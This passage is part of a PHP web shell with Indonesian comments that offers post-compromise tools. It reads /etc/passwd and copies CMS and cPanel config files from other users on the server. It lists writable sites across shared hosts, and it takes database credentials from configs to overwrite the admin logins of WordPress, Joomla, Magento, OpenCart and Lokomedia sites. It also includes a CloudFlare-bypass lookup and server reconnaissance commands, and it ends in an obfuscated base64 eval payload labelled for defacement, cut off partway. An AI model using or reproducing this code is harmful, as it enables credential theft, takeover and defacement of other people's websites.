  892.     $zip = new ZipArchive;
  893.     $res = $zip->open($_POST['dir']);
  894.     if ($res === TRUE) {
  895.         $zip->extractTo($save);
  896.         $zip->close();
  897.     echo 'Succes , Location : <b>'.$save.'</b>';
  898.     } else {
  899.     echo 'Gagal Mas :( Ntahlah !';
  900.     }
  901.     }
  902. echo '</tr></table>';  
  903. } elseif($_GET['do'] == 'config') {
  904.     $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
  905.     $idx = mkdir("idx_config", 0777);
  906.     $isi_htc = "Options all\nRequire None\nSatisfy Any";
  907.     $htc = fopen("idx_config/.htaccess","w");
  908.     fwrite($htc, $isi_htc);
  909.     while($passwd = fgets($etc)) {
  910.         if($passwd == "" || !$etc) {
  911.             echo "<font color=red>Can't read /etc/passwd</font>";
  912.         } else {
  913.             preg_match_all('/(.*?):x:/', $passwd, $user_config);
  914.             foreach($user_config[1] as $user_idx) {
  915.                 $user_config_dir = "/home/$user_idx/public_html/";
  916.                 if(is_readable($user_config_dir)) {
  917.                     $grab_config = array(
  918.                         "/home/$user_idx/.my.cnf" => "cpanel",
  919.                         "/home/$user_idx/.accesshash" => "WHM-accesshash",
  920.                         "/home/$user_idx/public_html/po-content/config.php" => "Popoji",
  921.                         "/home/$user_idx/public_html/vdo_config.php" => "Voodoo",
  922.                         "/home/$user_idx/public_html/bw-configs/config.ini" => "BosWeb",
  923.                         "/home/$user_idx/public_html/config/koneksi.php" => "Lokomedia",
  924.                         "/home/$user_idx/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  925.                         "/home/$user_idx/public_html/clientarea/configuration.php" => "WHMCS",
  926.                         "/home/$user_idx/public_html/whm/configuration.php" => "WHMCS",
  927.                         "/home/$user_idx/public_html/whmcs/configuration.php" => "WHMCS",
  928.                         "/home/$user_idx/public_html/forum/config.php" => "phpBB",
  929.                         "/home/$user_idx/public_html/sites/default/settings.php" => "Drupal",
  930.                         "/home/$user_idx/public_html/config/settings.inc.php" => "PrestaShop",
  931.                         "/home/$user_idx/public_html/app/etc/local.xml" => "Magento",
  932.                         "/home/$user_idx/public_html/joomla/configuration.php" => "Joomla",
  933.                         "/home/$user_idx/public_html/configuration.php" => "Joomla",
  934.                         "/home/$user_idx/public_html/wp/wp-config.php" => "WordPress",
  935.                         "/home/$user_idx/public_html/wordpress/wp-config.php" => "WordPress",
  936.                         "/home/$user_idx/public_html/wp-config.php" => "WordPress",
  937.                         "/home/$user_idx/public_html/admin/config.php" => "OpenCart",
  938.                         "/home/$user_idx/public_html/slconfig.php" => "Sitelok",
  939.                         "/home/$user_idx/public_html/application/config/database.php" => "Ellislab");
  940.                     foreach($grab_config as $config => $nama_config) {
  941.                         $ambil_config = file_get_contents($config);
  942.                         if($ambil_config == '') {
  943.                         } else {
  944.                             $file_config = fopen("idx_config/$user_idx-$nama_config.txt","w");
  945.                             fputs($file_config,$ambil_config);
  946.                         }
  947.                     }
  948.                 }      
  949.             }
  950.         }  
  951.     }
  952.     echo "<center><a href='?dir=$dir/idx_config'><font color=lime>Done</font></a></center>";
  953. } elseif($_GET['do'] == 'jumping') {
  954.     $i = 0;
  955.     echo "<div class='margin: 5px auto;'>";
  956.     if(preg_match("/hsphere/", $dir)) {
  957.         $urls = explode("\r\n", $_POST['url']);
  958.         if(isset($_POST['jump'])) {
  959.             echo "<pre>";
  960.             foreach($urls as $url) {
  961.                 $url = str_replace(array("http://","www."), "", strtolower($url));
  962.                 $etc = "/etc/passwd";
  963.                 $f = fopen($etc,"r");
  964.                 while($gets = fgets($f)) {
  965.                     $pecah = explode(":", $gets);
  966.                     $user = $pecah[0];
  967.                     $dir_user = "/hsphere/local/home/$user";
  968.                     if(is_dir($dir_user) === true) {
  969.                         $url_user = $dir_user."/".$url;
  970.                         if(is_readable($url_user)) {
  971.                             $i++;
  972.                             $jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
  973.                             if(is_writable($url_user)) {
  974.                                 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
  975.                             }
  976.                             echo $jrw."<br>";
  977.                         }
  978.                     }
  979.                 }
  980.             }
  981.         if($i == 0) {
  982.         } else {
  983.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  984.         }
  985.         echo "</pre>";
  986.         } else {
  987.             echo '<center>
  988.                   <form method="post">
  989.                   List Domains: <br>
  990.                   <textarea name="url" style="width: 500px; height: 250px;">';
  991.             $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  992.             while($getss = fgets($fp)) {
  993.                 echo $getss;
  994.             }
  995.             echo  '</textarea><br>
  996.                   <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  997.                   </form></center>';
  998.         }
  999.     } elseif(preg_match("/vhosts/", $dir)) {
  1000.         $urls = explode("\r\n", $_POST['url']);
  1001.         if(isset($_POST['jump'])) {
  1002.             echo "<pre>";
  1003.             foreach($urls as $url) {
  1004.                 $web_vh = "/var/www/vhosts/$url/httpdocs";
  1005.                 if(is_dir($web_vh) === true) {
  1006.                     if(is_readable($web_vh)) {
  1007.                         $i++;
  1008.                         $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
  1009.                         if(is_writable($web_vh)) {
  1010.                             $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
  1011.                         }
  1012.                         echo $jrw."<br>";
  1013.                     }
  1014.                 }
  1015.             }
  1016.         if($i == 0) {
  1017.         } else {
  1018.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  1019.         }
  1020.         echo "</pre>";
  1021.         } else {
  1022.             echo '<center>
  1023.                   <form method="post">
  1024.                   List Domains: <br>
  1025.                   <textarea name="url" style="width: 500px; height: 250px;">';
  1026.                   bing("ip:$ip");
  1027.             echo  '</textarea><br>
  1028.                   <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  1029.                   </form></center>';
  1030.         }
  1031.     } else {
  1032.         echo "<pre>";
  1033.         $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  1034.         while($passwd = fgets($etc)) {
  1035.             if($passwd == '' || !$etc) {
  1036.                 echo "<font color=red>Can't read /etc/passwd</font>";
  1037.             } else {
  1038.                 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  1039.                 foreach($user_jumping[1] as $user_idx_jump) {
  1040.                     $user_jumping_dir = "/home/$user_idx_jump/public_html";
  1041.                     if(is_readable($user_jumping_dir)) {
  1042.                         $i++;
  1043.                         $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  1044.                         if(is_writable($user_jumping_dir)) {
  1045.                             $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
  1046.                         }
  1047.                         echo $jrw;
  1048.                         if(function_exists('posix_getpwuid')) {
  1049.                             $domain_jump = file_get_contents("/etc/named.conf");   
  1050.                             if($domain_jump == '') {
  1051.                                 echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  1052.                             } else {
  1053.                                 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  1054.                                 foreach($domains_jump[1] as $dj) {
  1055.                                     $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1056.                                     $user_jumping_url = $user_jumping_url['name'];
  1057.                                     if($user_jumping_url == $user_idx_jump) {
  1058.                                         echo " => ( <u>$dj</u> )<br>";
  1059.                                         break;
  1060.                                     }
  1061.                                 }
  1062.                             }
  1063.                         } else {
  1064.                             echo "<br>";
  1065.                         }
  1066.                     }
  1067.                 }
  1068.             }
  1069.         }
  1070.         if($i == 0) {
  1071.         } else {
  1072.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  1073.         }
  1074.         echo "</pre>";
  1075.     }
  1076.     echo "</div>";
  1077. } elseif($_GET['do'] == 'auto_edit_user') {
  1078.     if($_POST['hajar']) {
  1079.         if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  1080.             echo "username atau password harus lebih dari 6 karakter";
  1081.         } else {
  1082.             $user_baru = $_POST['user_baru'];
  1083.             $pass_baru = md5($_POST['pass_baru']);
  1084.             $conf = $_POST['config_dir'];
  1085.             $scan_conf = scandir($conf);
  1086.             foreach($scan_conf as $file_conf) {
  1087.                 if(!is_file("$conf/$file_conf")) continue;
  1088.                 $config = file_get_contents("$conf/$file_conf");
  1089.                 if(preg_match("/JConfig|joomla/",$config)) {
  1090.                     $dbhost = ambilkata($config,"host = '","'");
  1091.                     $dbuser = ambilkata($config,"user = '","'");
  1092.                     $dbpass = ambilkata($config,"password = '","'");
  1093.                     $dbname = ambilkata($config,"db = '","'");
  1094.                     $dbprefix = ambilkata($config,"dbprefix = '","'");
  1095.                     $prefix = $dbprefix."users";
  1096.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1097.                     $db = mysql_select_db($dbname);
  1098.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1099.                     $result = mysql_fetch_array($q);
  1100.                     $id = $result['id'];
  1101.                     $site = ambilkata($config,"sitename = '","'");
  1102.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  1103.                     echo "Config => ".$file_conf."<br>";
  1104.                     echo "CMS => Joomla<br>";
  1105.                     if($site == '') {
  1106.                         echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1107.                     } else {
  1108.                         echo "Sitename => $site<br>";
  1109.                     }
  1110.                     if(!$update OR !$conn OR !$db) {
  1111.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1112.                     } else {
  1113.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1114.                     }
  1115.                     mysql_close($conn);
  1116.                 } elseif(preg_match("/WordPress/",$config)) {
  1117.                     $dbhost = ambilkata($config,"DB_HOST', '","'");
  1118.                     $dbuser = ambilkata($config,"DB_USER', '","'");
  1119.                     $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1120.                     $dbname = ambilkata($config,"DB_NAME', '","'");
  1121.                     $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1122.                     $prefix = $dbprefix."users";
  1123.                     $option = $dbprefix."options";
  1124.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1125.                     $db = mysql_select_db($dbname);
  1126.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1127.                     $result = mysql_fetch_array($q);
  1128.                     $id = $result[ID];
  1129.                     $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1130.                     $result2 = mysql_fetch_array($q2);
  1131.                     $target = $result2[option_value];
  1132.                     if($target == '') {
  1133.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1134.                     } else {
  1135.                         $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  1136.                     }
  1137.                     $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  1138.                     echo "Config => ".$file_conf."<br>";
  1139.                     echo "CMS => Wordpress<br>";
  1140.                     echo $url_target;
  1141.                     if(!$update OR !$conn OR !$db) {
  1142.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1143.                     } else {
  1144.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1145.                     }
  1146.                     mysql_close($conn);
  1147.                 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  1148.                     $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  1149.                     $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  1150.                     $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  1151.                     $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  1152.                     $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  1153.                     $prefix = $dbprefix."admin_user";
  1154.                     $option = $dbprefix."core_config_data";
  1155.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1156.                     $db = mysql_select_db($dbname);
  1157.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1158.                     $result = mysql_fetch_array($q);
  1159.                     $id = $result[user_id];
  1160.                     $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  1161.                     $result2 = mysql_fetch_array($q2);
  1162.                     $target = $result2[value];
  1163.                     if($target == '') {
  1164.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1165.                     } else {
  1166.                         $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  1167.                     }
  1168.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1169.                     echo "Config => ".$file_conf."<br>";
  1170.                     echo "CMS => Magento<br>";
  1171.                     echo $url_target;
  1172.                     if(!$update OR !$conn OR !$db) {
  1173.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1174.                     } else {
  1175.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1176.                     }
  1177.                     mysql_close($conn);
  1178.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  1179.                     $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  1180.                     $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  1181.                     $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  1182.                     $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  1183.                     $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  1184.                     $prefix = $dbprefix."user";
  1185.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1186.                     $db = mysql_select_db($dbname);
  1187.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1188.                     $result = mysql_fetch_array($q);
  1189.                     $id = $result[user_id];
  1190.                     $target = ambilkata($config,"HTTP_SERVER', '","'");
  1191.                     if($target == '') {
  1192.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1193.                     } else {
  1194.                         $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1195.                     }
  1196.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1197.                     echo "Config => ".$file_conf."<br>";
  1198.                     echo "CMS => OpenCart<br>";
  1199.                     echo $url_target;
  1200.                     if(!$update OR !$conn OR !$db) {
  1201.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1202.                     } else {
  1203.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1204.                     }
  1205.                     mysql_close($conn);
  1206.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  1207.                     $dbhost = ambilkata($config,'server = "','"');
  1208.                     $dbuser = ambilkata($config,'username = "','"');
  1209.                     $dbpass = ambilkata($config,'password = "','"');
  1210.                     $dbname = ambilkata($config,'database = "','"');
  1211.                     $prefix = "users";
  1212.                     $option = "identitas";
  1213.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1214.                     $db = mysql_select_db($dbname);
  1215.                     $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1216.                     $result = mysql_fetch_array($q);
  1217.                     $target = $result[alamat_website];
  1218.                     if($target == '') {
  1219.                         $target2 = $result[url];
  1220.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1221.                         if($target2 == '') {
  1222.                             $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1223.                         } else {
  1224.                             $cek_login3 = file_get_contents("$target2/adminweb/");
  1225.                             $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1226.                             if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1227.                                 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1228.                             } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1229.                                 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1230.                             } else {
  1231.                                 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1232.                             }
  1233.                         }
  1234.                     } else {
  1235.                         $cek_login = file_get_contents("$target/adminweb/");
  1236.                         $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1237.                         if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1238.                             $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1239.                         } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1240.                             $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1241.                         } else {
  1242.                             $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1243.                         }
  1244.                     }
  1245.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  1246.                     echo "Config => ".$file_conf."<br>";
  1247.                     echo "CMS => Lokomedia<br>";
  1248.                     if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1249.                         echo $url_target2;
  1250.                     } else {
  1251.                         echo $url_target;
  1252.                     }
  1253.                     if(!$update OR !$conn OR !$db) {
  1254.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1255.                     } else {
  1256.                         echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1257.                     }
  1258.                     mysql_close($conn);
  1259.                 }
  1260.             }
  1261.         }
  1262.     } else {
  1263.         echo "<center>
  1264.         <h1>Auto Edit User Config</h1>
  1265.         <form method='post'>
  1266.         DIR Config: <br>
  1267.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1268.         Set User & Pass: <br>
  1269.         <input type='text' name='user_baru' value='indoxploit' placeholder='user_baru'><br>
  1270.         <input type='text' name='pass_baru' value='indoxploit' placeholder='pass_baru'><br>
  1271.         <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  1272.         </form>
  1273.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1274.         ";
  1275.     }
  1276. }
  1277. elseif($_GET['do'] == 'pou') {
  1278. echo '
  1279. <form method="POST"><br><br>
  1280. <center><p align="center" dir="ltr"><b><font size="5" face="Tahoma">+--=[ Bypass
  1281. <font color="#CC0000">CloudFlare </font> ]=--+</font></b></p>
  1282. <select class="inputz" name="krz">
  1283.     <option>ftp</option>
  1284.         <option>direct-conntect</option>
  1285.             <option>webmail</option>
  1286.                 <option>cpanel</option>
  1287. </select>
  1288. <input class="inputz" type="text" name="target" value="url">
  1289. <input class="inputzbut" type="submit" value="Bypass"></center>
  1290.  
  1291. ';
  1292.     $target = $_POST['target'];
  1293.     # Bypass From FTP
  1294.    if ($_POST['krz'] == "ftp") {
  1295.         $ftp = gethostbyname("ftp." . "$target");
  1296.         echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='white'>Correct
  1297. ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
  1298.     }
  1299.     # Bypass From Direct-Connect
  1300.    if ($_POST['krz'] == "direct-conntect") {
  1301.         $direct = gethostbyname("direct-connect." . "$target");
  1302.         echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='white'>Correct
  1303. ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
  1304.     }
  1305.     # Bypass From Webmail
  1306.    if ($_POST['krz'] == "webmail") {
  1307.         $web = gethostbyname("webmail." . "$target");
  1308.         echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='white'>Correct
  1309. ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
  1310.     }
  1311.     # Bypass From Cpanel
  1312.    if ($_POST['krz'] == "cpanel") {
  1313.         $cpanel = gethostbyname("cpanel." . "$target");
  1314.         echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='white'>Correct
  1315. ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
  1316.     }
  1317. }
  1318. elseif($_GET['do'] == 'info') { global $os;
  1319.     echo "<div id=result style='color:lime;'>
  1320.    <h2>Info Server</h2> <br /><br />
  1321.   <br> OS: <a style='color:lime;text-decoration:none;' target=_blank href='http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=".php_uname(s)."'>".php_uname(s)."</td></tr>
  1322.   <br> PHP Version : <a style='color:lime;text-decoration:none;' target=_blank href='?phpinfo'>".phpversion().".</td></tr>
  1323.   <br> Kernel Release : <font color=lime>".php_uname(r)."</font>
  1324.   <br> Kernel Version : <font color=lime>".php_uname(v)."</font>
  1325.    <br>Machine : <font color=lime>".php_uname(m)."</font>
  1326.    <br>Server Software : <font color=lime>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
  1327.     if(function_exists('apache_get_modules'))
  1328.     {
  1329.     echo "Loaded Apache modules : <br /><br /><font color=>lime";
  1330.         echo implode(', ', apache_get_modules());
  1331.         echo "</font></tr></td>";
  1332.     }
  1333.     if($os=='win')
  1334.     {
  1335.         echo  "Account Setting : <font color=lime><pre>".cmd('net accounts')."</pre>
  1336.               User Accounts : <font color=lime><pre>".cmd('net user')."</pre>
  1337.               ";
  1338.     }
  1339.     if($os=='nix')
  1340.     {
  1341.         echo "Distro : <font color=lime><pre>".cmd('cat /etc/*-release')."</pre></font>
  1342.              Distr name : <font color=lime><pre>".cmd('cat /etc/issue.net')."</pre></font>
  1343.              GCC : <font color=lime><pre>".cmd('whereis gcc')."</pre>
  1344.              PERL : <font color=lime><pre>".cmd('whereis perl')."</pre>
  1345.           PYTHON : <font color=lime><pre>".cmd('whereis python')."</pre>
  1346.              JAVA : <font color=lime><pre>".cmd('whereis java')."</pre></td></tr>
  1347.              APACHE : <font color=lime><pre>".cmd('whereis apache')."</pre></td></tr>
  1348.              CPU : <br /><br /><pre><font color=lime>".cmd('cat /proc/cpuinfo')."</font></pre></td></tr>
  1349.              RAM : <font color=lime><pre>".cmd('free -m')."</pre></td></tr>
  1350.               User Limits : <br /><br /><font color=lime><pre>".cmd('ulimit -a')."</pre></td></tr>";
  1351.               $useful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  1352.               $uze=array();
  1353.               foreach($useful as $uzeful)
  1354.               {
  1355.                 if(cmd("which $uzeful"))
  1356.                 {
  1357.                     $uze[]=$uzeful;
  1358.                 }
  1359.               }
  1360.               echo " Useful : <br /><font color=lime><pre>";
  1361.               echo implode(', ',$uze);
  1362.               echo "</pre></td></tr>";
  1363.               $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  1364.               $uze=array();
  1365.               foreach($downloaders as $downloader)
  1366.               {
  1367.                 if(cmd("which $downloader"))
  1368.                 {
  1369.                     $uze[]=$downloader;
  1370.                 }
  1371.               }
  1372.               echo " Downloaders : <br /><font color=lime><pre>";
  1373.               echo implode(', ',$uze);
  1374.               echo "</pre></td></tr>";
  1375.               echo " Users : <br /><font color=lime><pre>".wordwrap(get_users())."</pre</font>></td></tr>
  1376.                     Hosts : <br /><font color=lime><pre>".cmd('cat /etc/hosts')."</pre></font></td></tr>";
  1377.     }
  1378.     echo " <br /><br /> <br /><br />";
  1379.  
  1380. }
  1381. elseif($_GET['do'] == 'hashid') {
  1382. if (isset($_POST['gethash'])) {
  1383.         $hash = $_POST['hash'];
  1384.         if (strlen($hash) == 32) {
  1385.             $hashresult = "MD5 Hash";
  1386.         } elseif (strlen($hash) == 40) {
  1387.             $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
  1388.         } elseif (strlen($hash) == 13) {
  1389.             $hashresult = "DES(Unix) Hash";
  1390.         } elseif (strlen($hash) == 16) {
  1391.             $hashresult = "MySQL Hash / /DES(Oracle Hash)";
  1392.         } elseif (strlen($hash) == 41) {
  1393.             $GetHashChar = substr($hash, 40);
  1394.             if ($GetHashChar == "*") {
  1395.                 $hashresult = "MySQL5 Hash";
  1396.             }
  1397.         } elseif (strlen($hash) == 64) {
  1398.             $hashresult = "SHA-256 Hash";
  1399.         } elseif (strlen($hash) == 96) {
  1400.             $hashresult = "SHA-384 Hash";
  1401.         } elseif (strlen($hash) == 128) {
  1402.             $hashresult = "SHA-512 Hash";
  1403.         } elseif (strlen($hash) == 34) {
  1404.             if (strstr($hash, '$1$')) {
  1405.                 $hashresult = "MD5(Unix) Hash";
  1406.             }
  1407.         } elseif (strlen($hash) == 37) {
  1408.             if (strstr($hash, '$apr1$')) {
  1409.                 $hashresult = "MD5(APR) Hash";
  1410.             }
  1411.         } elseif (strlen($hash) == 34) {
  1412.             if (strstr($hash, '$H$')) {
  1413.                 $hashresult = "MD5(phpBB3) Hash";
  1414.             }
  1415.         } elseif (strlen($hash) == 34) {
  1416.             if (strstr($hash, '$P$')) {
  1417.                 $hashresult = "MD5(Wordpress) Hash";
  1418.             }
  1419.         } elseif (strlen($hash) == 39) {
  1420.             if (strstr($hash, '$5$')) {
  1421.                 $hashresult = "SHA-256(Unix) Hash";
  1422.             }
  1423.         } elseif (strlen($hash) == 39) {
  1424.             if (strstr($hash, '$6$')) {
  1425.                 $hashresult = "SHA-512(Unix) Hash";
  1426.             }
  1427.         } elseif (strlen($hash) == 24) {
  1428.             if (strstr($hash, '==')) {
  1429.                 $hashresult = "MD5(Base-64) Hash";
  1430.             }
  1431.         } else {
  1432.             $hashresult = "Hash type not found";
  1433.         }
  1434.     } else {
  1435.         $hashresult = "Not Hash Entered";
  1436.     }
  1437. ?>
  1438.     <center><br><Br><br>
  1439.    
  1440.         <form action="" method="POST">
  1441.         <tr>
  1442.         <table class="tabnet">
  1443.         <th colspan="5">Hash Identification</th>
  1444.         <tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td>  <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
  1445.         <tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
  1446.     </table></tr></form>
  1447.     </center>
  1448. <?php
  1449. } elseif($_GET['do'] == 'base-coc') {
  1450. echo'<center><br><br><h1>DataBase SQL
  1451. <form method="post" action="">&nbsp;
  1452. <select name="pilihan" id="pilih">
  1453. <option value="db">DataBase [Mysql Adminer]</option>
  1454. <option value="phini">Bypass php.ini</option>
  1455. </select>
  1456. <input  type="submit" name="submites" value=" >> ">
  1457. </td></form><hr>';
  1458. //starting
  1459. $submit = $_POST ['submites'];
  1460. if(isset($submit)) {
  1461.     $pilih = $_POST['pilihan'];
  1462. //auto deface      
  1463.     if ( $pilih == 'db') {
  1464.         $script = "PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5yTlBXdFhHN21TbjJmT21mK2c5UGltN2NFWW16eXZqWjJRUUdZNFE0QUw1TjZkeFY1djIyNURMM2EzMDkwT01CbisrOVpEcjM2WVFKTGRjK2NCTGFsVUpaV2tVbFdwSkg3NjBZL2pLQjdHL2lLSzB5QThyNzZvZFg3NjhYWGlwOE81ZHg2TWh4K1hVZW9udzNnWnBzSGNyemF4T0JvTms5U0wweW9tS25Nc0VGM2hYeTltMGNTdnVzS3RpM2t3amlPcVVTTWdncGVBWE9Pc05SQnI2cnM1QUtDSlB3MUNxSCt5UFR3K1BEd0ZMRWxLVFp0NVk4anU5eUhIM1lBZmt5QU9QVUE5SEw3YjI5OGREbXUxQnVRam5ZME5oV1R2WlBpdnZRUEdBZjlWajM0N0doNmVBQUxNcllsWG9pWGFvaWxxRmwxZFpXZnZlUGZ0NmVIeEg4T1QzYVB0NDIzNEZOMnV3QmJrNE44ZXZnZjQ4Y3hMa3FGL0hTUnBVblV4YnlXQlg0L2VRb1h6UEh2UEYyUEpxRW1RREtmTGNBeDhRcWp4OUh6NHlZdXJMdVI3bzVsUFpXa1FoVW0rS2REQnZZTjNoNEM5K3NpUC9mT2c2aXd1RmtFNGpaeTZ4bHJMTm96R0dRZGdPQXZtUWNxais5T1AweWoydmZGRjFZdGo3NmJxRG4vZGhjRndoMGVISjZmUU15OFJGUmlWajBzL1NXdmlzd0d2Nkd5R3VmUnZSTGNISDUrODJkSW4wR0FxcWxUd3VYa3JIZ0ZMaDY3T1orNVFVbFlCSGlSRGJvUkNBdTI3aFhLSlhPSG1YUDVQRWhsZmVESDBqc1p0bVU1Zk1wMEwzNXY0Y2RVWlIySHFoK242NmMzQ2I0dlV2MDQzTHRMNXJDTmt0UzVVV1gvcEVEbmh6eEsvZ0hNVW5EOTdJRTZzY2hmSzg5SGxBekZDamJzUXpqeFkwcTBINGd5U2FQM2x5MmQvWDk5MEpMZHgrZnF6S2JIN1pQZjRuN3ZIWnk0dXA1UGQvWGZ1QUNaVWFYYmJ5ajU1ZTd4M2REbzgySDYvNitKS3IrQ2NBNUV3WHdCU2xoSTA4ZVRZVFNLUVJNeGxiM3k1WE14dmtvOHpWengrTEI1VkV1K1Q3eVh